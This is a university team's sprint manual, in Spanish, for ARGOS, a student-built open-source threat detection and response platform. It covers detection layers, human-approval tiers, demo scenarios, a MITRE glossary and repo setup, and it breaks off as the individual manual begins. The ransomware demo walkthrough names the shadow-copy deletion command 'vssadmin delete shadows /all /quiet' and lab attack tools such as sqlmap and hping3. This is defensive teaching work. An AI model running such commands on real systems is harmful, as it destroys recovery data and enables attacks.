

ARGOS

Adaptive Response Guard with Orchestrated Surveillance
Sprint Semana 1 · Manual del integrante

Enzo Ordoñez Flores

P1 · Líder · LLM/SOAR

Tópicos Avanzados de Ciberseguridad · Universidad de Lima · 2026-1
Entrega final: 13 de junio de 2026
Generado: 2026-05-24

Parte I — Introducción al proyecto

ARGOS — Introducción al proyecto y arquitectura

Documento común a todos los manuales de integrante. Contiene contexto que cada miembro del equipo (P1/P2/P3/P4) necesita antes de leer su manual individual.

Field	Value
Type	Manual de introducción común para los 4 integrantes
Status	Active
Última actualización	2026-05-24
Pre-requisito	Ninguno. Léelo de cero.

1. Qué es ARGOS en una página

ARGOS es la **Adaptive Response Guard with Orchestrated Surveillance** — una plataforma multi-vector de detección y respuesta a amenazas que replica la arquitectura de productos comerciales high-end EDR/XDR (Microsoft Defender XDR, CrowdStrike Falcon, Palo Alto Cortex XDR) usando exclusivamente componentes open source más una API LLM de bajo costo para la capa de triage.

El proyecto es para el curso **Tópicos Avanzados de Ciberseguridad** en la Universidad de Lima · 2026-1. La entrega final es el **13 de junio de 2026** y consta de tres deliverables obligatorios: informe técnico (~30% del peso), demo en vivo (~40%) y presentación (~20%) más los seguimientos en semanas 5/7/9 (~10%).

El activo defendido es una base de datos **PostgreSQL 15** corriendo sobre una Linux VM en el lab. Tiene esquema `argos_demo_prod` con tablas que simulan datos de RRHH y finanzas (employees, payroll, customers, invoices, payments) con datos sintéticos. El host está tagged en Wazuh como `criticality=production-critical`, lo que dispara la regla de dos personas (two-person rule) para cualquier acción de containment sobre él.

El alcance multi-vector (post ADR-0008) cubre tres categorías de ataques distintas:

- **Ransomware:** cifrado de archivos via técnicas T1486/T1490/T1083/T1562. Es el énfasis primario.
- **Network Denial of Service:** ataques de red contra el puerto del servicio (T1498/T1499) con `hping3` o `slowhttptest`.
- **Application Abuse:** SQL injection contra una app web delante de la DB (T1190) usando `sqlmap`, y false positives de actividad legítima de usuario (T1078 Valid Accounts) — un SELECT masivo a las 3 AM se parece a exfiltración pero puede ser un reporte mensual legítimo.

Por qué este alcance y no más: ARGOS no busca cobertura exhaustiva multi-vector. Busca cobertura mínima representativa que demuestre que la arquitectura de 4 capas + SOAR + HITL

es genuinamente adaptativa. Cubrir 3 vectores con profundidad real es más defendible que cubrir 10 superficialmente.

2. Arquitectura de 4 capas defensivas

ARGOS sigue el patrón industrial estándar de **defense-in-depth**: cuatro capas independientes y paralelas, cada una con trade-offs distintos, fallan independientemente. Si una capa cae o es evadida, las otras tres mantienen cobertura. No hay un solo punto de falla en la detección.



Capa 1 — Rule-Based Detection (Sigma + Wazuh)

Dueño: P3 (Angeles). Reglas YAML escritas en formato Sigma, convertidas a Wazuh con `sigma-cli`, mapeadas explícitamente a técnicas MITRE ATT&CK. Detectan patrones conocidos.

Sub-categorías por dominio (post ADR-0008):

- `detection/sigma-rules/ransomware/` — vssadmin, T1486 cifrado, T1083 enumeración, T1562 disable defender, T1021 lateral, T1071 C2
- `detection/sigma-rules/network/` — rate-based rules para T1498/T1499 (DDoS, slow-rate)
- `detection/sigma-rules/database/` — query pattern anomalies para UC-07
- `detection/sigma-rules/webapp/` — T1190 SQL injection signatures

Trade-off honesto: alta precisión, recall limitado contra variantes nuevas. Por eso existe Capa 2.

Capa 2 — ML Anomaly Detection

Dueño: P2 (Sebastian). Modelos no supervisados entrenados sobre baseline benigno. Detectan desviaciones que las reglas no captan.

Modelos especializados por dominio (post ADR-0008):

- `ml/models/ransomware_ensemble.pkl` — Isolation Forest + One-Class SVM. Features ventana 60s: `file_write_rate`, `avg_entropy` (Shannon), `extension_modification_ratio`, `crypto_api_calls`, `new_outbound_connections`, `cpu_burst_score`, `io_burst_score`.
- `ml/models/network_traffic_anomaly.pkl` — para UC-06 DDoS. Features: `connections/sec`, `packet rate`, `source IP entropy`, `packet size variance`.
- `ml/models/query_pattern_anomaly.pkl` — para UC-07 SELECT masivo. Features: `rows_returned`, `query_duration_ms`, `hour_of_day`, `user_id`, `query_template_hash`.

Ensemble ransomware: `ensemble_score = 0.6 × isolation_forest_score + 0.4 × one_class_svm_score`. Los demás modelos retornan score único.

Trade-off honesto: mayor recall contra variantes nuevas, mayor false positive rate. Requiere baseline limpio.

Capa 3 — Canary Deception

Dueño: P3 (Angeles). Archivos-cebo (`financials_Q4_2025.xlsx` , `passwords.txt` , `db_backup.sql`) en ubicaciones donde un usuario legítimo nunca tocaría. FIM (File Integrity Monitoring) con Sysmon whodata (Windows) o auditd (Linux) captura QUÉ proceso accedió.

Lógica: primera modificación / lectura / rename de un canary = alerta crítica con confianza máxima. Por diseño, FP rate ≈ 0 .

Esta capa es estrictamente ransomware-specific. No tiene sub-categorías por dominio. Documentado deliberadamente en ADR-0008: defender contra DDoS o SQL injection requiere otras primitivas, no canaries.

Capa 4 — LLM-Assisted Triage

Dueño: P1 (Enzo). FastAPI service que recibe el contexto completo de una alerta (process tree, network connections, file modifications) y produce análisis estructurado: técnica MITRE, severidad, runbook NIST aplicable, acción recomendada, IoCs a correlar.

Backend vendor-agnostic (per ADR-0001 v2):

- **Primary:** OpenAI GPT-4o-mini (US-based, soberanía de datos aceptable)
- **Fallback:** Llama 3.1 8B local vía Ollama (zero-egress, funciona sin internet)

Invariante crítico R-02: el LLM **NUNCA** está en el **path crítico de containment**. El SOAR decide desde Capas 1-3 solamente. El LLM enriquece la vista del analista; si halucina, miente, o cae, el sistema sigue funcionando.

Pipeline RAG: BM25 (léxico) + BGE-large embeddings (denso) + RRF (Reciprocal Rank Fusion). Hybrid retrieval estándar industrial. Sin cross-encoder reranker (descartado en ADR-0001 v2 por marginal gain vs costo).

3. SOAR Decision Engine y los 4 tiers de confianza

El **SOAR (Security Orchestration, Automation and Response)** es el cerebro que fusiona señales de las 4 capas y decide la acción. Lo dueño es **P1**. Implementa la lógica de tiers per ADR-0003.

Tier	Disparado por	Confianza	Acción
☐ T0	Canary solo, OR las 3 capas corroboran	≥ 0.95	Aislamiento automático inmediato + snapshot
☐ T1	Layer 1 + Layer 2 corroboran (sin canary)	0.80–0.95	Aislamiento automático inmediato + snapshot
☐ T2	Capa sola con score alto	0.60–0.80	Throttle + snapshot ahora , aislamiento full pendiente de aprobación 3-min
☐ T3	Corroboración baja	0.40–0.60	Solo notificación enriquecida con LLM

(*) **Los thresholds son preliminares** pendientes de calibración empírica per `OPEN_QUESTIONS_RESOLUTION.md §Q5`.

Tier T2 — el más interesante

Ransomware moderno cifra ~25,000 archivos/min. Un countdown de 3 minutos para aprobación humana sin protección parece estúpido. Por eso T2 NO es "pendiente": es "throttle + snapshot AHORA, full isolation pendiente de aprobación". El throttle (cpulimit/ionice) reduce la tasa de cifrado a ~100-500 files/min mientras los aprobadores ven el contexto LLM y deciden. Si el timeout de 3 min expira sin respuesta, el sistema auto-ejecuta (no espera más). Si el aprobador clickea Reject, el throttle se levanta y el caso queda registrado como false positive con razón documentada — esto es UC-07.

Split-brain (conflicto multi-aprobador)

Per ADR-0006: cuando hay 4 aprobadores y dan respuestas contradictorias (2 approve, 1 reject, 1 timeout), se aplica **conservative-wins policy** con ventana de consolidación de 60 segundos: cualquier "approve" gana sobre rechazos, excepto para acciones irreversibles que requieren **two-person rule** (dos approves explícitos, un reject cancela).

El **two-person rule** se activa cuando el host afectado tiene `criticality=production-critical` (nuestro PostgreSQL). Esto es UC-04 en el demo.

Canales de notificación (per ADR-0007 v2)

Tiempo	Canal	Propósito
t=0	Telegram bot con botones inline JWT	Primario — push agresivo a celulares de aprobadores
t=0	Discord webhook con @-mention de role	Visibilidad en server del equipo, presión social
t=60s	Twilio Voice DTMF (sin STT)	Escalación si nadie respondió. "Presione 1 para aprobar, 2 para rechazar"
post-decisión	Email	Resumen asíncrono, NUNCA en path crítico

4. Equipo y responsabilidades

	Integrante	Rol	Alcance principal
☐	Enzo Ordoñez Flores	P1 · Líder · LLM/ SOAR	<code>argos_contracts</code> (entregado), Capa 4 LLM Triage, motor SOAR + Tier Classifier, Approval API con JWT, notificaciones multi-canal, Consola de Aprobación Streamlit, simulador de ransomware, playbooks de containment, coordinación
☐	Sebastian Montenegro	P2 · Ingeniero ML	Capa 2 completa (Isolation Forest + One-Class SVM ensemble + modelos especializados), feature extraction, calibración thresholds, métricas P/R/F1, captura forense
☐	Angeles Castillo	P3 · Detección y Engaño	Capa 1 (Sigma rules ransomware + network + database + webapp), Capa 3 (canary FIM + whodata), validación con Atomic Red Team y Caldera, bonus: PRs upstream a SigmaHQ
☐	Diego Jara	P4 · Infraestructura	Vagrantfile + Wazuh/OpenSearch/Redis deployment, PostgreSQL con datos sintéticos, simuladores (ransomware + DDoS + SQL injection), UI Streamlit base, video demo

Regla operativa crítica: cada integrante debe poder defender su capa en exposición. P1 no escribe código de otros con Claude Code. Cada integrante puede usar Claude Code (o cualquier asistente IA) como **acelerador en SU propia parte**, siempre que entienda lo que produce y pueda defenderlo en viva (per CONTEXT.md §5 reinterpretado post ADR-0008).

5. Los 8 use cases del demo

El demo en vivo cubre 8 escenarios (per ADR-0008 multi-vector). Cada UC tiene narrativa específica que demuestra una propiedad distinta del sistema.

UC	Vector	Tier	Capas que firing	Qué demuestra
UC-01	Ransomware (LockBit-like)	T0	1+2+3	Full-stack end-to-end. Las 3 capas firing simultáneo. Auto-isolate + email post-facto.
UC-02	Canary deception	T0	3 sola	Detección ultra-temprana. Zero archivos reales cifrados.
 UC-03	Variante novel + split-brain	T2	2 sola	Centerpiece HITL ransomware. ML atrapa lo que reglas no. 4 aprobadores. Conservative-wins live.
UC-04	PostgreSQL + two-person rule	T1	1+2	Compliance vocabulary. Four-eyes principle. Governance.
UC-05	Stealth attack (agent-kill)	T0	1+3+heartbeat	Resiliencia: agent disconnect = signal.
UC-06	DDoS volumetric	T0	1 (rate)+2 (network)	Cobertura multi-vector. Defiende contra ataques de red, no solo endpoint. T1498.
 UC-07	SELECT masivo legítimo FP	T2	2 sola	Pieza clave del HITL. Humano cancela contención por FP reconocido. T1078.
UC-08	SQL injection	T1	1+2	OWASP Top 10 #1. T1190 Exploit Public-Facing Application.

Los dos  son los UCs que más venden el HITL. UC-03 muestra split-brain con conservative-wins; UC-07 muestra cancelación de FP por humano. Ambos son lo que diferencia un EDR/XDR con HITL de un SIEM tradicional.

6. Ejemplo end-to-end de UC-01 paso a paso

Para que tengas un modelo mental concreto de cómo fluye una alerta a través del sistema, aquí está UC-01 (ransomware clásico LockBit-like) desglosado segundo a segundo.

Setup pre-ataque (T-5 min)

- Lab está corriendo: Wazuh manager + Windows VM + Linux VM con PostgreSQL.
- Los 4 aprobadores tienen Telegram abierto en sus celulares.
- La pantalla del proyector muestra: Streamlit Approval Console (vacía) + terminal de P4 listo para ejecutar el simulador.
- P1 narra el contexto: "Este es nuestro endpoint Windows típico de la organización. Tiene documentos en `C:\Users\Demo\Documents\`. El atacante acaba de obtener acceso inicial."

T=0 — Atacante ejecuta

P4 corre:

```
python attack-simulation/ransomware_simulator/lockbit_like.py --target windows-victim --speed full
```


Esto inicia el simulador. Behavior chain:

1. T+1s: enumera archivos en `C:\Users\Demo\Documents\` (técnica T1083 File and Directory Discovery)
2. T+2s: invoca `vssadmin delete shadows /all /quiet` (técnica T1490 Inhibit System Recovery)
3. T+3s: comienza a cifrar archivos con AES-256, renombrando a `.locked` (técnica T1486 Data Encrypted for Impact)
4. T+4s: toca el canary file `financials_Q4_2025.xlsx`
5. T+5s: deja la ransom note `README_RESTORE_FILES.txt` en el desktop

T+1 a T+5 segundos — Capas detectan en paralelo

Capa 1 (Sigma + Wazuh) detecta:

- T+2s: regla `T1490_vssadmin_delete_shadows` dispara cuando ve el comando `vssadmin`.
- T+3s: regla `T1486_mass_file_encryption_extension` dispara al ver renames masivos a `.locked`.
- Wazuh manager normaliza estas alertas y las publica al stream Redis `wazuh:alerts`.

Capa 2 (ML) detecta:

- ML consumer (Python proceso corriendo en bg) lee el stream Redis.
- Cada 60s genera features para los procesos activos. La ventana T+1 a T+60 captura el simulator process.
- Features observadas: `file_write_rate=347` archivos/min, `avg_entropy=7.8` (alta), `extension_modification_ratio=0.95`, `crypto_api_calls=42`, `cpu_burst_score=0.9`.
- Isolation Forest score: 0.94. One-Class SVM score: 0.91. Ensemble: 0.93.
- Publica `MLScore` con score 0.93 al stream Redis `ml:scores`.

Capa 3 (Canary FIM) detecta:

- T+4s: el simulator toca `financials_Q4_2025.xlsx`.
- Sysmon whodata captura el evento con PID del simulator y command-line completo.
- Wazuh dispara regla custom `canary_file_accessed` con severity 12 (crítica).
- Score implícito: 1.0 (canary fire = certeza máxima).

T+5 segundos — SOAR Decision Engine fusiona

El **SOAR orchestrator** (proceso de P1 corriendo el FastAPI Approval API en port 8003) se entera de las 3 alertas dentro del mismo incident window de 5 segundos.

Tier Classifier (`soar/decision_engine/tier_classifier.py`) aplica reglas:

- `canary_fired=True` → tier T0 (canary alone wins to T0).
- Pero también L1 + L2 corroboran con high scores → tier T0 confirmed.
- **Decisión:** `Tier.T0` con confidence 0.95+.

State machine (`soar/decision_engine/state_machine.py`):

1. Crea Incident con `incident_id=INC-2026-05-26-001`, state `RECEIVED`.
2. Persiste en Redis con key `incident:INC-2026-05-26-001`.
3. Llama al LLM Triage en paralelo (Capa 4 enrichment-only, NO bloquea decisión).

4. Transición de estado: `RECEIVED` → `PENDING_EXECUTION`.

Capa 4 LLM Triage (en paralelo, T+5 a T+8s):

- FastAPI `/triage` endpoint recibe el `AlertContext` con las 3 alertas.
- Llama a OpenAI GPT-4o-mini con prompt enriquecido.
- Devuelve `TriageResponse`: `tecnica_mitre=T1486`, `confianza=0.94`, `severidad=critical`, `runbook_aplicable="NIST 800-61 §3.4 Containment"`, `accion_recomendada="Isolate host immediately and capture memory snapshot before remediation"`.
- El Incident se actualiza en Redis con el `llm_analysis` campo.

T+8 segundos — Playbook automático

Como es T0 sin override de criticality (es una Windows VM standard, no production-critical), no requiere approval. El SOAR ejecuta el playbook directamente:

1. **Host isolation** (`soar/playbooks/host_isolation.py`): conecta vía PowerShell al Windows VM y crea regla firewall: `New-NetFirewallRule -DisplayName "ARGOS-Isolation" -Direction Outbound -Action Block`.
2. **Process kill**: identifica el PID del simulator desde el whodata FIM, ejecuta `Stop-Process -Force -Id <PID>`.
3. **Disk snapshot**: invoca Volume Shadow Copy `vssadmin create shadow /for=C:` para preservar evidencia forense.
4. Transición de estado: `PENDING_EXECUTION` → `EXECUTED`.

T+10 segundos — Notificación post-facto

El SOAR envía notificación multi-canal (per ADR-0007 v2):

- **Telegram** a los 4 `chat_ids` configurados: mensaje con `incident_id`, técnica, análisis LLM, y botón inline "Revertir" firmado con JWT.
- **Discord** webhook al server del equipo con embed coloreado por tier (T0 = rojo) y `@argos-approvers` mention.
- **Email post-facto** a `APPROVER_EMAILS` (los 4 emails del equipo) con resumen + link al audit log en OpenSearch.

T+10 a T+30 segundos — Streamlit Console muestra

La **Streamlit Approval Console** (proceso de P1 corriendo en port 8501, proyectado en pantalla) refresca cada 2 segundos vía `streamlit-autorefresh`. Muestra:

- **Panel izquierdo (Incident Card)**: badge T0 en rojo, `incident_id`, host afectado, técnica MITRE T1486, análisis LLM compacto.
- **Panel central (Decision Matrix)**: vacío porque es T0 auto-execute, no requirió aprobación.
- **Panel derecho (System Logic)**: estado actual `EXECUTED`, decisión `EXECUTE_ISOLATION`, política aplicada `auto-execute`, justificación "T0 confirmed: canary + L1 + L2 corroborate".
- **Panel inferior (Action Timeline)**: línea de tiempo horizontal mostrando: `alert created` → `tier classified` → `playbook executed` → `notifications sent`.

T+30 segundos — Análisis forense visible

P1 narra: "El sistema aisló el host en menos de 10 segundos. 31 archivos cifrados de 500. El canary salvó los restantes. Los 4 aprobadores tienen el incidente en su Telegram con la opción de Revertir si fuera falso. Audit log completo en OpenSearch con cada decisión justificada."

Métricas que se muestran en pantalla

- **TTD (Time to Detect):** 4.2 segundos desde T=0 hasta primera alerta válida.
- **TTI (Time to Isolate):** 8.7 segundos desde T=0 hasta playbook completado.
- **Archivos cifrados antes de containment:** 31 de 500 (94% preservados).
- **MITRE coverage:** T1083 + T1490 + T1486 cubiertos por L1, ratificados por L2 entropy spike, confirmados por canary L3.

Lo que NO se ve pero pasó

- LLM Triage tardó ~3 segundos en responder. NUNCA bloqueó la decisión de containment.
- El throttle preventivo NO se aplicó porque fue T0 (auto-execute directo). En T2 sí se habría aplicado mientras corre el countdown.
- El audit log en OpenSearch capturó: triggering layers, scores individuales, fusion logic, LLM analysis, playbook commands executed, notification channels disparados, timestamps de cada paso.

7. Glosario MITRE ATT&CK

Las técnicas relevantes al alcance del proyecto, ordenadas por categoría (tactic).

Initial Access

- **T1078 — Valid Accounts:** atacante usa credenciales legítimas. Relevante para UC-07 (escenario FP: usuario legítimo, NO atacante).
- **T1190 — Exploit Public-Facing Application:** explotación de vulnerabilidad en aplicación web expuesta. T1190.001 sub-técnica = SQL Injection. Relevante para UC-08.

Defense Evasion

- **T1562 — Impair Defenses:** atacante deshabilita herramientas de seguridad. T1562.001 sub-técnica = Disable Defender. Relevante para UC-05 (agent-kill attempt).
- **T1070 — Indicator Removal:** atacante borra rastros. T1070.001 = Clear Windows Event Logs, T1070.004 = File Deletion.

Discovery

- **T1083 — File and Directory Discovery:** ransomware enumera archivos antes de cifrar. Relevante para UC-01.

Lateral Movement

- **T1021 — Remote Services:** SMB/RDP/SSH usados por atacante para moverse. T1021.001 = RDP, T1021.002 = SMB, T1021.004 = SSH.

Command and Control

- **T1071 — Application Layer Protocol:** beacon a C2 server vía HTTP/HTTPS. T1071.001 sub-técnica = Web Protocols.

Impact (la más rica para ARGOS)

- **T1486 — Data Encrypted for Impact:** ransomware cifrando archivos. Núcleo de UC-01, UC-02, UC-03.
 - **T1490 — Inhibit System Recovery:** borrar Volume Shadow Copies, snapshots btrfs, etc. Pre-cursor a T1486.
 - **T1498 — Network Denial of Service:** ataques de red contra disponibilidad. T1498.001 = Direct Network Flood (UC-06), T1498.002 = Reflection Amplification.
 - **T1499 — Endpoint Denial of Service:** saturación de recursos del endpoint. T1499.002 = Service Exhaustion, T1499.004 = Application Exploitation.
-

8. Stack tecnológico completo

Categoría	Componente	Función	Owner principal
SIEM	Wazuh 4.7	Manager + agentes	P4
SIEM	OpenSearch	Storage de alertas y audit log	P4
SIEM	Sigma + sigma-cli	Reglas de detección	P3
Telemetría	Sysmon (Windows)	Eventos detallados de proceso/ archivo/red	P4
Telemetría	auditd (Linux)	Eventos detallados de syscall	P4
Telemetría	pgAudit (PostgreSQL)	Audit log de queries	P4
Telemetría	Wazuh FIM whodata	Captura qué proceso tocó archivo (canary)	P3
Simulación	Atomic Red Team	TTPs MITRE 1-a-1	P3
Simulación	Caldera	Cadenas de ataque multi-step	P3
Simulación	Custom ransomware simulator (Python)	UC-01, UC-02, UC-03 reproducibles	P1
Simulación	hping3 + slowhttptest	UC-06 DDoS	P4
Simulación	sqlmap	UC-08 SQL injection	P4
ML	scikit-learn 1.4+	Isolation Forest + One-Class SVM	P2
ML	scipy	Shannon entropy	P2
ML	pandas + numpy	Data wrangling	P2
ML	joblib	Model serialization	P2
Backend	FastAPI	LLM Triage API + Approval API	P1
Backend	Redis 7+	Alert bus + incident state machine	P4 (deploy) / P1 (usage)
Backend	APScheduler	Timeouts + consolidation windows	P1
Backend	PyJWT	JWT signing para approval tokens	P1
Backend	Pydantic v2	argos_contracts (cross-team interfaces)	P1 (shipped)
LLM	OpenAI GPT-4o-mini	Primary backend (cloud, US- based)	P1
LLM	Llama 3.1 8B vía Ollama	Fallback (local, zero-egress)	P1
LLM	BGE-large embeddings	Retrieval en RAG	P1
Notifications	python-telegram-bot	Telegram bot con inline buttons	P1
Notifications	discord-webhook	Discord notifications con role mention	P1
Notifications	twilio	Voice DTMF escalación	P1
UI	Streamlit 1.30+		

Categoría	Componente	Función	Owner principal
		Analyst Console + Approval Console	P4 (base) / P1 (Approval)
UI	OpenSearch Dashboards	MITRE heatmap, TTD histogram, layer perf	P4
Infra	Vagrant 2.4+	Provisioning de 3 VMs	P4
Infra	VirtualBox 7.x	Hypervisor para lab local	P4
Testing	pytest + respx + fakeredis	Tests cross-module	Todos
DB	PostgreSQL 15	Activo defendido	P4 (deploy + datos sintéticos)

9. Convenciones del repo

Git workflow

- **Branch principal:** `main`, protegida en GitHub.
- **Feature branches:** `feature/<persona>/<descripcion-corta>` — ejemplo: `feature/p2/isolation-forest-baseline`.
- **Commits convencionales:** `feat:`, `fix:`, `docs:`, `test:`, `refactor:`, `chore:`.
- **PRs requieren:** CI verde + 1 review. Pairing: P1↔P2, P3↔P4.
- **Push diario obligatorio** antes de las 22:00 durante el sprint.

Estructura del repo (post ADR-0008)


```

argos/
├── README.md                # Entry point del proyecto
├── LICENSE                  # MIT
├── pyproject.toml           # Metadata + extras por módulo
├── .env.example              # Plantilla de variables (REAL .env va en .gitignore)
├── argos_contracts/         # □ Pydantic v2 cross-team (entregado · v1.1.0 · 69 tests)
│   ├── _mitre_data.py       # MITRE_WHITELIST curado
│   ├── alert.py              # WazuhAlert, NormalizedAlert
│   ├── ml_score.py           # MLScore (P2)
│   ├── triage.py              # AlertContext, TriageResponse (P1)
│   ├── incident.py           # Incident state machine (P1)
│   ├── approval.py           # ApprovalRequest, ApprovalResponse (P1)
│   ├── enums.py              # Tier, Severity, NotificationChannelType, ...
│   └── tests/                 # 69 validation tests
├── llm_triage/              # P1 – Capa 4 LLM Triage
│   ├── api/main.py           # FastAPI /triage endpoint
│   ├── llm_client/           # OpenAI primary + Llama local fallback
│   ├── rag/                   # BM25 + BGE-large + RRF
│   └── prompts/               # Jinja2 templates
├── soar/                     # P1 – SOAR Decision Engine + Approval API
│   ├── decision_engine/      # tier_classifier, state_machine, orchestrator
│   ├── approval/              # api, jwt_signer, consolidation
│   ├── notification/          # telegram, discord, twilio_voice, email
│   └── playbooks/             # host_isolation, process_kill, snapshot, throttle
├── ml/                        # P2 – Capa 2 ML
│   ├── features/              # Feature extractors por dominio
│   ├── models/                # ransomware_ensemble, network_traffic, query_pattern
│   └── consumer/              # Redis stream consumer
├── detection/                 # P3 – Capa 1 Sigma rules
│   ├── sigma-rules/
│   │   ├── ransomware/       # T1486, T1490, T1083, T1562
│   │   ├── network/          # T1498, T1499 rate-based
│   │   ├── database/          # query patterns
│   │   └── webapp/            # T1190 SQLi signatures
│   └── wazuh-rules/           # Convertidas con sigma-cli
├── deception/                 # P3 – Capa 3 Canary
│   ├── canary_generator.py    # Genera canary files
│   └── fim-configs/            # Wazuh FIM rules
├── ui/                         # P4 (base) + P1 (Approval Console)
│   ├── streamlit_app/
│   │   ├── pages/
│   │   │   ├── 01_alert_inspection.py
│   │   │   ├── 02_approval_console.py    # P1 - PIEZA CLAVE DEL DEMO
│   │   │   └── 03_audit_forensics.py
│   └── opensearch-dashboards/    # JSON dashboards exportados
├── attack-simulation/         # Simuladores multi-vector
│   ├── ransomware_simulator/   # P1 (LockBit-like, canary, novel)
│   ├── network_attacks/        # P4 (hping3, slowhttptest)
│   ├── webapp_attacks/         # P4 (sqlmap)
│   └── pg_simulator/           # P4 (SELECT masivo para UC-07)
├── lab/                        # P4 – Vagrant + Terraform
│   ├── Vagrantfile
│   ├── provision/              # Scripts bash/PowerShell
│   └── inventory.yaml
├── evaluation/                 # P2 + P4 – Métricas, datasets, reportes
├── docs/
│   ├── PROJECT_BRIEF.md        # 90-second overview
│   ├── CONTEXT.md              # Onboarding completo
│   ├── PROJECT_STATUS.md       # Honest snapshot
│   ├── EVALUATION_CRITERIA.md  # Rúbrica del curso
│   ├── data-handling.md        # T-030 sanitization policy
│   └── README.md               # Mapa de docs

```

```

├── architecture/      # SAD, threat model, flow diagrams
├── decisions/         # 8 ADRs + OPEN_QUESTIONS
├── use-cases/         # 8 UCs detallados
└── team/             # Sprint manuals (este documento + 4 individuales)

```

Variables de entorno (.env)

El `.env.example` documenta TODAS las variables. Las críticas para tu rol están en tu manual individual. Reglas globales:

- **NUNCA** commitear el `.env` — está en `.gitignore`.
- Cada integrante genera su propio `.env` partir del `.env.example`.
- Las credenciales compartidas (Telegram bot token, Discord webhook URL, OpenAI API key) las distribuye P1 vía canal privado (no en GitHub, no en Discord público).
- El `JWT_SECRET` se genera localmente con `openssl rand -hex 32`.

Convención de incident IDs

`INC-YYYY-MM-DD-NNN` donde `NNN` es contador diario zero-padded a 3 dígitos. Ejemplo: `INC-2026-05-26-001`. El contador se persiste en Redis con TTL diario.

10. Quick start del entorno común

Estos pasos son comunes a TODOS los integrantes antes de empezar el sprint. Tu manual individual asume que esto está hecho.

Paso 1 — Clonar repo

```

cd ~/projects                # o donde guardes proyectos
git clone https://github.com/EnzoOrdonez/argos.git
cd argos

```

Paso 2 — Crear virtualenv Python

```

python3 -m venv .env
source .env/bin/activate      # Linux/macOS
# .env\Scripts\activate       # Windows PowerShell
pip install -U pip setuptools wheel

```

Paso 3 — Instalar dependencias core + tu rol

```

# Todos instalan estos:
pip install -e ".[dev]"

# Además según tu rol:
pip install -e ".[contracts]"  # P1 (siempre + más abajo)
pip install -e ".[ml]"         # P2
pip install -e ".[soar,llm]"   # P1 (servicios)
pip install -e ".[ui]"         # P4

```

Paso 4 — Verificar contracts

```
pytest argos_contracts/tests/ -v
# Esperado: 69 passed
```

Si no pasan los 69 tests, revisa que el venv esté activado (`which python` debe apuntar a `.venv/bin/python`).

Paso 5 — Copiar plantilla de variables

```
cp .env.example .env
# Editar .env con tus valores reales (tu manual individual te dice cuáles)
```

Paso 6 — Configurar git

```
git config user.name "<Tu Nombre>"
git config user.email "<tu@email.com>"
# Crear tu branch:
git checkout -b feature/<tu-pX>/sprint-w1-init
```

11. Comunicación del equipo durante el sprint

Standup diario

- **Hora:** 9:00 AM
- **Canal:** Discord `#argos-standup` , llamada de voz
- **Duración:** 20 minutos (cada integrante ~3-4 min)
- **Formato (per `docs/team/standup-template.md`):**
 - Lo que cerré ayer (PRs mergeados, tests passing)
 - Lo que cierro hoy (objetivos del día)
 - Bloqueos (qué necesito de otro integrante)

Canales Discord del equipo

- `#argos-standup` — standup diario
- `#argos-help` — preguntas técnicas urgentes
- `#argos-prs` — notificación de PRs abiertos (GitHub bot)
- `#argos-incidents` — donde el bot ARGOS enviará notificaciones del demo

Reglas operativas (post ADR-0008)

1. **No tocar la doc esta semana.** Los docs están sincronizados con la realidad. Si descubres algo arquitectónico nuevo, abre un ADR-0009 en lugar de modificar SAD/threat model/README.
2. **No optimizar prematuramente.** El objetivo es que los 8 UCs corran end-to-end, no que sean óptimos. Performance fine-tuning en semana 2.

3. **Mocks son OK al inicio.** Si tu pieza depende de otra que aún no está lista, usa FakeRedis, mocked HTTP, o synthetic data. Integración real cuando ambas piezas estén listas.
4. **Verificar en lab real al menos 2 veces al día.** Cada integrante corre el flow E2E en su Vagrant antes del almuerzo y antes de pushear.
5. **Pedir ayuda en menos de 30 minutos.** Si llevas más de media hora atascado, pingueas en `#argos-help` o llamas a otro integrante. No debug solitario.
6. **Push diario obligatorio** antes de las 22:00. Si no pusheas, tu nombre aparece en el standup del día siguiente.

Claude Code / asistentes IA — política reinterpretada (ADR-0008)

Cada integrante puede usar Claude Code (o cualquier asistente IA: Cursor, GitHub Copilot, ChatGPT) como **acelerador en SU propia parte**. La condición no-negociable: cada integrante DEBE entender el código que produce con asistencia de IA y poder defenderlo en viva sin la asistencia presente. La asistencia es para velocidad, NO para reemplazar comprensión.

La regla específica que se mantiene: P1 (Enzo) no escribe código de otros integrantes con Claude Code. P1 puede asesorar y revisar, no producir el código de otros.

12. Lo que NO se entrega en esta semana 1

Para que no te sorprendas cuando llegue Día 7 sin estas cosas:

- **Calibración Q5 protocol** con dataset etiquetado real (~100 ransomware + ~500 benignas). Semana 2.
- **UC-03 split-brain con 4 aprobadores reales** no scripted. Semana 2-3.
- **UC-05 stealth attack** end-to-end pulido. Semana 2.
- **PRs Sigma upstream aceptados** por SigmaHQ maintainers (depende de tiempos externos). Semana 2-3.
- **Video demo final editado.** Semana 3.
- **Informe técnico final.** Semana 3.
- **Cross-encoder reranker en RAG** (descartado del scope v1 per ADR-0001 v2).

Lo que SÍ se completa al cierre del sprint Día 7: 5 UCs corriendo end-to-end (UC-01, UC-02, UC-04, UC-06, UC-07), con UC-08 como nice-to-have, con dos rehearsals al domingo.

13. Documentos relacionados (referencia completa)

Si algo de este documento no quedó claro o necesitas más profundidad:

Si quieres saber...	Lee
Arquitectura completa de cada bloque	docs/architecture/SOLUTION_ARCHITECTURE_DOCUMENT.md
Por qué se tomó cada decisión arquitectónica	docs/decisions/ (ADRs 0001-0008)
Análisis de amenazas STRIDE/FMEA	docs/architecture/THREAT_MODEL.md
Detalle de los 8 UCs	docs/use-cases/USE_CASES.md
Política de manejo de datos sensibles a LLM	docs/data-handling.md
Rúbrica del curso y mapping a deliverables	docs/EVALUATION_CRITERIA.md
Estado real vs. documentado del proyecto	docs/PROJECT_STATUS.md
Flujo del sistema visualmente	docs/architecture/argos_flow.html
Tu manual de sprint individual	docs/team/sprint-week-1-p<X>-<nombre>.md
Plan operacional general del sprint	docs/team/sprint-week-1-overview.md

Change log

Versión	Fecha	Cambio	Autor
1.0	2026-05-24	Initial — sección común de introducción para los 4 manuales individuales. Cubre arquitectura, UCs, ejemplo end-to-end UC-01, glosario MITRE, stack tecnológico, convenciones del repo, política Claude Code, quick start.	P1 (Enzo Ordoñez Flores)

Parte II — Manual individual de Enzo Ordoñez Flores

Sprint Semana 1 — Manual de P1

(Enzo Ordoñez Flores)

Field	Value
Owner	Enzo Ordoñez Flores
Rol	P1 · Líder · LLM/SOAR · Coordinación
